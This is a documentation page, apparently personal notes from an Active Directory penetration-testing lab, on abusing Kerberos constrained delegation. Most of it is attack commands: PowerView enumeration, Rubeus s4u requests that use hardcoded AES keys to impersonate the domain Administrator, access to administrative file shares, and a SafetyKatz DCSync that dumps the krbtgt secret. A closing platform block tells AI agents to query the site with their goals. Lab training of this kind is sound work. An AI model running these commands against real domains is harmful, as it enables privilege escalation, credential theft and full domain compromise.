> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/constrained-delegation.md).

# Constrained Delegation

**Constrained Delegation** is a more secure alternative to **Unconstrained Delegation** in Microsoft Active Directory environments. It allows a service to impersonate a user, but only for specified services or resources, reducing the security risks associated with delegation. This provides better control over how and where impersonation can occur, mitigating the risk of attackers abusing the delegation to gain unauthorized access.

#### How Constrained Delegation Works

In contrast to Unconstrained Delegation, which allows a service to impersonate a user for **any service**, Constrained Delegation restricts this impersonation to a **defined set of services**. This provides fine-grained control over which services a trusted server or service account can delegate for, limiting its exposure and attack surface.

To enumerate users with constrained delegation we can use PowerView. Run the below command from a PowerShell session started using Invisi-Shell:

```
c:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
```

```
. C:\AD\Tools\PowerView.ps1
```

```
Get-DomainUser -TrustedToAuth
```

We already have secrets of websvc from dcorp-admisrv machine. We can either use Kekeo or Rubeus to abuse that.

Abuse Constrained Delegation using websvc with Rubeus

In the below command, we request get a TGS for websvc as the Domain Administrator - Administrator. Then the TGS used to access the service specified in the /msdsspn parameter (which is filesystem on dcorp-mssql):

```
C:\AD\Tools\Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /ptt
```

Try accessing filesystem on dcorp-mssql:

```
dir \\dcorp-mssql.dollarcorp.moneycorp.local\c$
```

**For the next task**, enumerate the computer accounts with constrained delegation enabled using PowerView:

```
Get-DomainComputer -TrustedToAuth
```

Abuse Constrained Delegation using dcorp-adminsrv with Rubeus

We have the AES keys of dcorp-adminsrv$ from dcorp-adminsrv machine. Run the below command from an elevated command prompt as SafetyKatz, that we will use for DCSync, would need that:

```
C:\AD\Tools\Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:1f556f9d4e5fcab7f1bf4730180eb1efd0fadd5bb1b5c1e810149f9016a7284d /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt
```

Run the below command to abuse the LDAP ticket:

```
C:\AD\Tools\SafetyKatz.exe "lsadump::Dcsync /user:dcorp\krbtgt" "exit"
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://omar-4.gitbook.io/omar-docs/attacks/constrained-delegation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
